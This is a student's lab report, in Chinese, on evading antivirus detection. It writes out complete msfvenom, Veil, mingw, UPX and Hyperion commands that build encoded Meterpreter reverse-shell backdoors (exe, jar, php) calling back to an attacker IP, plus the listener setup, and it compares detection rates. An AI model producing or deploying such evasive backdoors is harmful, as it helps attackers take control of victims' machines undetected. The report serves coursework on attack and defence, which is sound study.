免杀原理与实践
1.实验内容
1.1 使用编码器进行机器指令变形;
1.2 使用编译平台恶意代码重新生成;
1.3 使用生成Shellcode自己编写Meterpreter;
1.4 理解杀软的应用局限性。
2.实验目的
2.1 使用代码变形技术,如Msfvenom、Veil、加壳工具等进行恶意代码变形;
2.2 利用Shellcode,结合不同编程平台编译方式实现后门程序的免杀,并通过实际杀软进行查杀验证。
3.实验环境
安装Kali镜像的VMware虚拟机,注意由于在下载veil时需要用到较大的磁盘空间,所以可以预先将硬盘空间分配得大一些,具体配置如图1所示:

4.实验过程与分析
4.1 免杀效果参考基准
4.1.1 查找平台评价免杀效果
使用VirScan-多引擎文件在线检测平台软件评价免杀效果,网址为:https://www.virscan.org。如图2所示:

4.1.2 构建参考基准
为构建参考基准,使用msfvenom直接生成一个后门程序,以其检出率作为基准。使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.113 PORT=2409 -f exe > met20232409.exe,生成一个基于Windows平台、采用reverse_tcp类型的Meterpreter后门程序,将其保存为met20232409.exe文件。这个程序在目标机器上运行后,会主动连接到攻击者IP地址为192.168.3.113的2409端口,从而让攻击者获得目标机器的控制权。如图3所示:

使用VirScan检测该文件的安全性,检测结果为25/48,即用48个杀毒引擎检测,有25个引擎判定该文件含恶意软件。以此作为基准,用于对比后续免杀效果的执行情况。如图4所示:

4.2 Msfvenom使用编码器
4.2.1 生成exe文件和编码的exe文件
通过命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.3.113 LPORT=2409 -f exe > met20232409_2.exe,生成一个与参考基准相同的Windows下恶意可执行文件。为躲避杀毒软件的检测,这里使用了名为shikata_ga_nai的编码技术进行伪装。如图5所示:

对于Msfvenom使用编码器单次shikata_ga_nai编码形成可执行文件检出率为24/48,在波动范围内与基准类似。说明此种方法几乎没有免杀作用。如图6所示:

通过命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.3.113 LPORT=2409 -f exe > met20232409_3.exe,对文件进行10次shikata_ga_nai编码。如图7所示:

对于Msfvenom使用编码器多次shikata_ga_nai编码形成可执行文件检出率为26/48,在波动范围内与基准类似。说明此种方法也几乎没有免杀作用。如图8所示:

4.2.2 生成jar文件和编码的jar文件
通过命令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.3.113 LPORT=2409 x>metjar20232409.jar将上述恶意文件生成jar包的形式。如图9所示:

对于Msfvenom使用编码器形成的jar包检出率为15/48,免杀效果较基准有所提高。说明利用Java平台和JVM的间接调用,可以在一定程度上模糊恶意代码的恶意行为,使得部分传统的检测手段失效。如图10所示:

通过命令msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.3.113 LPORT=2409 x>met-encode-jar20232409.jar,生成一份经shikata_ga_nai编码10次的jar包。如图11所示:

对于Msfvenom使用编码器多次shikata_ga_nai编码形成jar包检出率为14/48,免杀效果虽较基准有所提高,但与不进行多次shikata_ga_nai编码效果类似。说明shikata_ga_nai编码叠加jar包的免杀效果并不明显。如图12所示:

4.2.2 生成php文件和编码的php文件
利用指令msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.3.113 LPORT=2409 x> metphp_20232409.php,将上述恶意文件生成PHP代码的形式。如图13所示:
对于Msfvenom使用编码器形成的PHP代码检出率为8/48,免杀效果较基准显著提高。这是因为这种方式伪装成了网站本身,比代码层面的混淆更有效,但是它的攻击前提是需要利用网站漏洞植入,较其他方式更为复杂。如图14所示:

利用指令msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.3.113 LPORT=2409 x> met_encoded10_php_20232409.php生成一份经shikata_ga_nai编码10次的php文件。如图15所示:
对于Msfvenom使用编码器多次shikata_ga_nai编码形成PHP代码检出率为3/48,免杀效果不仅较基准显著提高,较未编码前也大大提高。
这是因为shikata_ga_nai是一个专为x86汇编指令设计的编码器,它无法对PHP这种脚本语言代码进行编码,于是将payload降级为最基础的Windows原生可执行文件格式。因此在静态扫描时它看起来是一个被破坏的、无意义的二进制文件,几乎无法被识别。而在动态监控时,它的执行过程完全在PHP解释器的内存中完成,不涉及写入磁盘。因此这种结合了PHP平台的信任优势和原生payload的编码能力让安全工具难以检测到威胁。如图16所示:

4.3 使用veil免杀工具
4.3.1 环境准备
通过命令sudo apt update更新软件包列表索引,再通过命令sudo apt -y install veil,下载veil工具。如图17所示:

通过命令usr/share/veil/config/setup.sh --force --silent,强制并静默地运行Veil工具的初始化设置脚本。这条命令会自动安装或配置Veil运行所需的所有依赖环境和组件,期间不会向用户提问或显示过多信息,但是需要输入一次口令。输入命令过程如图18所示,安装完成结果如图19所示:


4.3.2 使用veil生成可执行文件
安装完成后输入veil进入veil框架的交互式命令行界面。输入use 1进入Evasion躲避模块,用以专门生成能够躲避主流杀毒软件检测的恶意可执行文件。如图20所示:

通过命令list查看所有可用的载荷种类。如图21所示:

输入命令use 7,选择上方的第七个c/meterpreter/rev_tcp.py。这是一个由Python脚本驱动的Veil-Evasion载荷,它会生成一个用C语言编写的、Meterpreter类型的、使用反向TCP连接的Windows可执行文件。如图22所示:

输入配置信息,包括攻击机器的IP与端口,以及所需要生成文件的文件名配置,具体如下:
set LHOST 192.168.3.113 #192.168.3.113是攻击机的IP地址,用于接收目标主机的回连 set LPORT 2409 #开启一个监听器,专门监听2409端口,等待目标主机的连接 generate #开始生成载荷 payload20232409 #生成文件的文件名

根据提示的路径,在/var/lib/veil/output/compiled目录下找到生成的可执行文件,如图24所示:

4.3.3 检测veil生成可执行文件的免杀情况
基于Veil-Evasion生成的可执行文件检出率为10/48,其免杀效果较基准大大提高。它通过模拟正常软件的编译流程,结合了多层次、动态的混淆与反分析技术,极大提高了恶意文件的生存能力。如图25所示:

4.4 C语言调用Shellcode
4.4.1 使用C语言调用Shellcode制作方式
通过命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.114 LPORT=2409 -f c,用msfvenom工具将恶意代码嵌入到另一个用C语言编写的程序中,如图26所示:

通过vi编辑器,为上述生成的恶意代码增添一个main函数。如图27、28所示:


通过命令i686-w64-mingw32-g++ shellcode_c_20232409.c -o shellcode_c_20232409.exe,将C文件编译为可执行文件,并在对应的路径下找到该可执行文件文件。如图29、30所示:


4.4.2 检测C语言调用Shellcode免杀情况
使用C语言编写的Shellcode检出率为8/48,其免杀效果较基准显著提高。它通过源码级植入,让恶意代码隐藏在一个由开发者构建的看似正常的程序中,从而极大地提高了对抗静态和动态分析的能力。如图31所示:

4.5 使用加壳工具
4.5.1 使用压缩壳UPX
通过命令upx shellcode_c_20232409.exe -o shellcode_c_upx_20232409.exe,给C语言生成的Shellcode加一个UPX压缩壳。如图32所示:

对于添加了UPX压缩壳的恶意代码文件,其免杀效果较基准显著提高。它通过加密和压缩,隐藏了原始文件的静态特征。如图33所示:

4.5.2 使用加密壳Hyperion
通过命令cp shellcode_c_20232409.exe /usr/share/windows-resources/hyperion/,将待加密的恶意文件shellcode_c_20232409.exe复制到Hyperion工具所在的工作目录中。
通过命令cd /usr/share/windows-resources/hyperion,将当前的工作目录切换到Hyperion所在的文件夹。
通过命令wine hyperion.exe -v shellcode_c_20232409.exe shellcode_c_hyp_20232409.exe,通过wine在Linux上运行Windows程序hyperion.exe,使用详细模式-v对shellcode_c_20232409.exe文件进行加密,并生成一个新的加密文件shellcode_c_hyp_20232409.exe。如图34所示:

对于添加了Hyperion加密壳的恶意代码文件,其免杀效果虽较基准有所提高,但不如其余几中方式效果好。其原因可能是杀毒软件的启发式引擎和机器学习模型,已经将“使用Hyperion、Crypter等专用加密壳”这种行为,学习为一种高风险的恶意行为模式。如图35所示:

4.6 组合使用msfvenom工具与加壳技术
4.6.1 使用msfvenom工具
首先通过命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.3.114 LPORT=2409 -f c > 20232409_shellcode_multi.c,生成一个经过10次多态编码且不含空字节的C语言格式shellcode,并将其保存到文件中,以便进行免杀处理。如图36所示:
此后通过vim编辑器,向生成的文件中加入main函数。如图37所示:

通过命令i686-w64-mingw32-g++ 20232409_shellcode_multi.c -o 20232409_shellcode_multi.exe,将原文件编译为可执行文件。如图38所示:
4.6.2 使用压缩壳UPX
通过命令upx 20232409_shellcode_multi.exe -o 20232409_shellcode_multi_2.exe,为可执行文件加上UPX压缩壳。如图39所示:
4.6.3 使用加密壳Hyperion
通过命令wine hyperion.exe -v 20232409_shellcode_multi_2.exe 20232409_shellcode_multi_3.exe,为可执行文件加上Hyperion加密壳。如图40所示:

4.6.4 检测免杀效果
对最后文件20232409_shellcode_multi_3.exe进行检测,发现检出率为18/48,免杀效果不是很好。如图41所示:

对只进行压缩,未进行加密的文件20232409_shellcode_multi_2.exe进行检测,检出率为2/48,效果非常好。可能是因为Hyperion加密壳已被标识为一种高风险的恶意行为模式。如图42所示:

将文件20232409_shellcode_multi_2.exe使用Windows主机上的杀毒软件进行扫描,仍能查出其中的潜在威胁。说明现在的杀毒软件越加完善了。如图43所示:

本次使用的杀毒软件是360企业安全云,浙江终端安全-银狐专用-杭州02,其卫士版本为14.0.2.1002,安全云版本为5.0.0.1631。如图44所示:

4.7 开启杀软回连实测
尝试使用组合使用各种工具检出率为2/48的恶意文件20232409_shellcode_multi_2.exe进行回连检测。Kali虚拟机作为攻击机,进入msf的控制台,配置监听处理器、载荷类型、IP地址与监听端口等相关信息(详细步骤解释可见实验二相关说明)。如图44所示:
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.3.40 set LPORT 2409 exploit

Windows主机作为目标主机,在其上启动后门程序20232409_shellcode_multi_2.exe。发现360安全软件将其成功拦截,再次运行已经无法成功。拦截如图45所示,再次运行失败如图46所示:


5.问题及解决
问题一:下载安装veil后启动报错,显示找不到相应文件。如图48所示:

解决一:按照系统提示输入指令,会给出具体报错原因,这里是因为设备上没有空间了,可以给磁盘多分配一些空间。如图49所示:

但是由于我给磁盘分配空间时操作不慎,使得虚拟机出故障而无法正常启动运行了。遂删除该虚拟机并释放空间,重新配置一台虚拟机,将其内存与磁盘空间调大了一些。具体参数信息见实验环境部分的图1所示。
问题二:我使用多种免杀工具构建的一个恶意程序,仍被杀毒软件成功检出,无法看到杀毒软件应用局限性。
解决二:可能因为杀毒软件的病毒特征库不断更新,使得原先未能被检出的情况现在可以被检出。
6.回答问题
6.1杀软是如何检测出恶意代码的?
我认为它主要是分为静态检测和动态检测两种方式。
静态检测是在不运行程序的情况下,通过分析代码及结构来进行判断。主要包括特征码匹配、机器学习检测等技术,检查其是否包含已知的恶意软件特征。这种方式高度依赖于特征库的完备性与机器学习模型的准确性,对于未知威胁或高度变形的恶意代码,检测效果可能不是很好。
动态检测则是通过在一个隔离的安全环境中运行程序,观察其实际行为来进行判断。当恶意代码在运行时表现出诸如尝试进行未授权的网络连接、修改关键系统配置等恶意行为时,便可以被准确识别。这种方法能揭示待检测代码的真实目的,同时确保主机系统不受危害。
此外,在程序长期运行于真实环境时,杀毒软件也会持续监控其活动。一旦检测到可疑的恶意行为,杀毒软件会立即干预,采取隔离或终止等防护措施。
6.2 免杀是做什么?
免杀是一种规避杀毒软件检测的技术。它通过对恶意代码进行加密、加壳、混淆或改写成其他文件形式等方式,隐藏其恶意特征,从而不被查杀。
6.3 免杀的基本方法有哪些?
我所了解的免杀基本方法主要包括加壳打包、格式转换与代码混淆,其核心思路大多针对杀毒软件的静态分析。
加壳打包是使用工具对恶意程序进行封装,从而改变其特征。压缩壳用于减小文件体积并改变特征,加密壳是通过密码学原理进行混淆,从而对抗静态分析。
格式转换是将恶意代码伪装成其他非可执行文件类型。比如可以将恶意代码封装在jar文件中,或嵌入网页脚本PHP文件中,以此规避针对可执行文件的检测。
代码混淆是对源代码或二进制代码进行变形、插入无用指令等操作,使其功能不变但静态特征发生改变,从而绕过基于特征码的扫描。
7.心得体会
本次实验我学习了免杀原理与实践,学习的内容有:使用msfvenom、veil、加壳工具等进行恶意代码变形,综合使用多种工具方式生成后门程序评估其免杀效果,尝试在开启杀软的情况下回连测试并理解杀软的局限性。通过进行免杀的实践以及相关问题的回答,我对于免杀技术的实现路径与基本原理有了初步的了解。
实验过程整体顺利,但也遇到了一些问题。在安装Veil时因磁盘分区空间不足,导致部分组件下载失败。经终端报错提示与AI工具分析,我发现系统总空间虽充足,但目标分区容量不足。然而,在后续调整磁盘空间分配的过程中,因我操作失误导致虚拟机无法正常启动。最终,我删除原虚拟机并释放空间,重新配置环境,并为新系统分配了充足磁盘,确保了后续实验的顺利进行。
在组合多种工具生成免杀程序时,我观察到,添加加密壳的程序,其检出率反而高于未加密壳的版本。这很可能是因为所用加密壳的特征已被杀软广泛记录并入库。该结果印证了静态检测技术对特征库的高度依赖,同时也说明免杀程序并非“保护层越多越好”,选择合适的混淆策略更为关键。尽管我最终将检出率成功降至2/48,该样本仍能被主流杀软迅速识别与清除。这从侧面反映出当前杀毒软件检测能力的不断提升,也为个人主机的安全防护提供了保障。
总而言之,在本次实验中,我学习了免杀的原理,并进行了相关实践,体验了构造免杀程序的诸多方法。我相信本次的实验会对我未来在网络与系统攻防技术的学习有所帮助。
参考资料
0x23_MAL_免杀原理与实践.md
VMware安装Kali Linux保姆级教程